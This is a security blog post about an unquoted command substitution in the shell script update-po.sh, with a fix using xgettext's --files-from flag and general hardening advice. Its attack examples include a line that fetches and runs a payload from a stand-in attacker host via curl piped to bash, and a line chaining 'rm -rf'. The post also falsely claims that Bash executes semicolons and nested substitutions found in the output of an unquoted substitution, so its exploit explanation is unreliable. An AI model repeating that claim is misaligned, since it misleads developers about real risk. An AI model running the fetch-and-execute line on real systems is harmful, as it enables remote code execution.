Back to Blog
critical SEVERITY9 min read

How Command Injection happens in Shell Scripts and how to fix it

A command injection vulnerability in `update-po.sh` allowed maliciously crafted filenames in `po/POTFILES.in` to be interpreted as shell commands via unquoted command substitution. The fix replaces `$(cat po/POTFILES.in)` with `xgettext`'s native `--files-from=` flag, eliminating the shell word-splitting attack surface entirely. This is a textbook example of how a single unquoted substitution can become a dangerous exploit primitive.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a CWE-78 OS Command Injection vulnerability in the Bash shell script `update-po.sh`, where unquoted command substitution (`$(cat po/POTFILES.in)`) passed filenames directly to `xgettext` without sanitization. An attacker who could influence the contents of `po/POTFILES.in` could inject arbitrary shell commands via crafted filenames. The fix replaces the shell substitution entirely by using `xgettext`'s built-in `--files-from=po/POTFILES.in` flag, which reads the file list natively without invoking a shell word-split, removing the injection vector at its root.

Vulnerability at a Glance

cweCWE-78
fixReplaced shell substitution with xgettext's native `--files-from=po/POTFILES.in` flag
riskArbitrary command execution if POTFILES.in contents are attacker-influenced
languageBash (Shell Script)
root causeUnquoted `$(cat po/POTFILES.in)` passed to xgettext without validation or quoting
vulnerabilityOS Command Injection via unquoted shell substitution

How Command Injection Happens in Shell Scripts and How to Fix It


Vulnerability at a Glance

Field Detail
Vulnerability OS Command Injection (CWE-78)
File update-po.sh, line 24
Language Bash
Risk Arbitrary command execution via crafted filenames in POTFILES.in
Root Cause Unquoted $(cat po/POTFILES.in) passed directly to xgettext
Fix Replaced with xgettext's native --files-from=po/POTFILES.in

Summary

A command injection vulnerability in update-po.sh allowed maliciously crafted filenames in po/POTFILES.in to be interpreted as shell commands via unquoted command substitution. The fix replaces $(cat po/POTFILES.in) with xgettext's native --files-from= flag, eliminating the shell word-splitting attack surface entirely. This is a textbook example of how a single unquoted substitution can become a dangerous exploit primitive.


Introduction

The update-po.sh script handles translation template generation for the simple-taskbar project. Its job is straightforward: collect source file paths from po/POTFILES.in and pass them to xgettext to extract translatable strings into a .pot template file.

But buried in that routine task was a subtle, dangerous flaw. At line 24, the script used unquoted command substitution to feed filenames to xgettext:

$(cat po/POTFILES.in)

This single line, unquoted and unvalidated, handed the shell free rein to interpret whatever was inside POTFILES.in — not just as filenames, but as raw shell tokens. For developers working on similar build automation, localization pipelines, or CI scripts, this pattern is surprisingly common and consistently underestimated.


The Vulnerability Explained

What Actually Happens at the Shell Level

When Bash evaluates $(cat po/POTFILES.in), it:

  1. Executes cat po/POTFILES.in and captures the output as a string.
  2. Performs word splitting on that string using IFS (the Internal Field Separator, defaulting to spaces, tabs, and newlines).
  3. Passes each resulting token as a separate argument to xgettext.

This is the intended behavior when POTFILES.in contains clean, well-formed filenames like:

src/main.c
src/window.c
src/tray.c

But word splitting doesn't distinguish between a filename and a shell metacharacter. If POTFILES.in contains a line like:

src/main.c; rm -rf /tmp/important_data

...the shell splits on the semicolon and executes rm -rf /tmp/important_data as a separate command.

The Vulnerable Code (Before the Fix)

Here is the exact vulnerable section from update-po.sh:

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    $(cat po/POTFILES.in)   # <-- VULNERABLE: unquoted substitution

The absence of quotes around $(cat po/POTFILES.in) is the entire vulnerability. The shell eagerly word-splits and glob-expands the output before xgettext ever sees it.

A Concrete Attack Scenario

Imagine a scenario where po/POTFILES.in is generated or modified by an upstream process — a build system, a CI step that pulls from a repository, or even a developer's local tool that auto-populates the file list. An attacker who can influence the contents of POTFILES.in (through a supply chain compromise, a malicious PR, or a path traversal in an upstream generator) could insert a crafted entry:

src/main.c
$(curl https://attacker.example.com/payload.sh | bash)

When update-po.sh runs (often in a CI/CD pipeline with elevated permissions), the shell evaluates the inner substitution and executes the attacker's payload. The xgettext process itself is never the target — the shell is.

Even without full command injection, glob expansion is a risk. A filename like * in POTFILES.in would expand to every file in the current directory, potentially causing xgettext to process files it should never touch.

Real-World Impact for This Application

For simple-taskbar, update-po.sh is a build-time script likely executed in developer environments and CI pipelines. The blast radius of exploitation includes:

  • Developer machines: Credential theft, backdoor installation, or data exfiltration.
  • CI/CD runners: Secrets leakage (tokens, signing keys), artifact tampering, or pipeline poisoning.
  • Supply chain risk: A compromised .pot template could carry malicious strings into downstream localization tooling.

The Fix

What Changed

The fix is a single-line change that eliminates the shell substitution entirely:

-    $(cat po/POTFILES.in)
+    --files-from=po/POTFILES.in

Before vs. After

Before (vulnerable):

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    $(cat po/POTFILES.in)

After (secure):

xgettext \
    --keyword=_ \
    --language=C \
    --add-comments \
    --sort-output \
    --from-code=UTF-8 \
    --package-name="simple-taskbar" \
    --package-version=1.0 \
    --copyright-holder="sultech" \
    -o po/simple-taskbar.pot \
    --files-from=po/POTFILES.in

Why This Fix Works

xgettext has a native --files-from= option specifically designed to read a list of input files from a file. When xgettext reads POTFILES.in directly:

  • The shell never sees the file contents. There is no $(...) substitution, no word splitting, no glob expansion.
  • Each line in POTFILES.in is treated as a literal filename by xgettext's own argument parser, which does not invoke a shell interpreter.
  • Metacharacters like ;, |, $, and backticks in filenames are passed as-is to the filesystem lookup — they have no special meaning to xgettext.

This is the preferred pattern for passing file lists to tools: use the tool's native file-list mechanism rather than relying on the shell to expand the list. Many GNU tools (xargs with -a, grep with -f, xgettext with --files-from) support this pattern precisely because shell word-splitting is a known hazard.


Prevention & Best Practices

1. Always Quote Shell Substitutions

If you must use command substitution to pass arguments, always quote the result:

# Risky (word-splits and glob-expands):
command $(generate_args)

# Safer (treats output as a single argument):
command "$(generate_args)"

# Best (use arrays for multiple arguments):
mapfile -t args < po/POTFILES.in
command "${args[@]}"

Note that even quoting doesn't always save you — it depends on whether the tool expects one argument or many. Using arrays ("${args[@]}") is the idiomatic Bash solution for multi-argument lists from files.

2. Prefer Native File-List Options

Before reaching for $(cat somefile), check whether the tool you're calling has a native --files-from, -f, or --input-file option. This eliminates the shell as an intermediary entirely.

3. Enable Strict Mode in Shell Scripts

Add this to the top of every shell script:

#!/usr/bin/env bash
set -euo pipefail
  • -e: Exit immediately on any command failure.
  • -u: Treat unset variables as errors.
  • -o pipefail: Propagate failures through pipelines.

These flags won't prevent injection, but they reduce the chance that a failed or malicious command silently continues execution.

4. Use ShellCheck in Your CI Pipeline

ShellCheck is a static analysis tool for shell scripts that catches unquoted substitutions, unsafe patterns, and dozens of other shell pitfalls. It would flag the original $(cat po/POTFILES.in) pattern. Add it to your CI:

# GitHub Actions example
- name: ShellCheck
  uses: ludeeus/action-shellcheck@master

5. Treat Build-Time Input Files as Untrusted

Files like POTFILES.in, requirements.txt, or any list file consumed by build scripts should be treated as untrusted if they can be modified by external contributors or upstream processes. Apply the same scrutiny to build inputs as to runtime inputs.

Security Standards Reference

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP A03:2021: Injection — covers OS command injection alongside SQL and LDAP injection
  • OWASP Command Injection Defense Cheat Sheet: Recommends using APIs that don't invoke the shell, exactly what --files-from= achieves here

Key Takeaways

  • $(cat file) unquoted is a shell injection primitive. In update-po.sh, the unquoted $(cat po/POTFILES.in) on line 24 handed the shell control over xgettext's argument list. Any tool that reads a file list this way is vulnerable to the same pattern.

  • Use the tool's native file-list option instead of shell substitution. xgettext --files-from=po/POTFILES.in reads the file list without ever involving the shell's word-splitting or glob-expansion machinery. Check for equivalent flags in other tools before defaulting to $(cat ...).

  • Build-time scripts are attack surface too. update-po.sh runs in developer environments and CI pipelines — contexts with elevated privileges and access to secrets. Hardening build scripts is as important as hardening application code.

  • This is an exploit primitive, not just a code smell. Even if POTFILES.in is currently trusted, the pattern can be chained with other weaknesses (path traversal, supply chain compromise) by automated exploit tooling. Removing it proactively raises the bar.

  • ShellCheck would have caught this. Static analysis for shell scripts is mature and free. Integrating ShellCheck into CI is a low-effort, high-value control that prevents this entire class of issue.


How Orbis AppSec Detected This

  • Source: The contents of po/POTFILES.in, a file that lists source files for translation extraction and can be influenced by contributors or upstream tooling.
  • Sink: The unquoted command substitution $(cat po/POTFILES.in) on line 24 of update-po.sh, passed directly as arguments to the xgettext shell command.
  • Missing control: No quoting, no input validation, no use of xgettext's native file-list mechanism — the file contents were passed raw through the shell's word-splitting and expansion pipeline.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced $(cat po/POTFILES.in) with --files-from=po/POTFILES.in, eliminating the shell substitution and its associated injection surface.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in update-po.sh is a reminder that command injection doesn't require a web form or a network socket. A single unquoted $(cat po/POTFILES.in) in a build script is enough to create an exploit primitive — one that becomes a full remote code execution vector the moment an attacker can influence the contents of POTFILES.in.

The fix is elegant precisely because it doesn't try to sanitize the dangerous pattern; it eliminates it. By switching to xgettext's native --files-from= flag, the shell is removed from the equation entirely. This is the right approach: when a safer API exists, use it instead of trying to make the unsafe one safe.

For developers writing build scripts, localization pipelines, or any shell automation that processes file lists: audit every $(cat ...) substitution. Ask whether the tool you're calling has a native file-list option. If it does, use it. If it doesn't, use Bash arrays with "${args[@]}". Never let the shell word-split untrusted input on your behalf.


References

Frequently Asked Questions

What is OS Command Injection in shell scripts?

OS Command Injection occurs when attacker-controlled input is passed to a shell command without proper sanitization, allowing the attacker to execute arbitrary commands on the host system. In shell scripts, unquoted variable expansions and command substitutions are common vectors.

How do you prevent command injection in Bash shell scripts?

Always quote variable expansions and command substitutions, validate and sanitize external input before use, prefer native flags or APIs over shell word-splitting, and use `set -euo pipefail` to make scripts fail safely on unexpected input.

What CWE is OS Command Injection?

OS Command Injection is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is quoting the substitution enough to prevent command injection here?

Quoting alone would not fully solve this case, because `"$(cat po/POTFILES.in)"` would pass the entire file as a single argument. The correct fix is to use `xgettext`'s built-in `--files-from=` option, which reads the file list natively and never passes content through the shell's word-splitting mechanism.

Can static analysis detect command injection in shell scripts?

Yes. Tools like ShellCheck, Semgrep, and purpose-built SAST scanners can detect unquoted command substitutions and unsafe variable expansions in shell scripts. Orbis AppSec's multi-agent AI scanner detected this exact pattern automatically.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #33

Related Articles

high

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens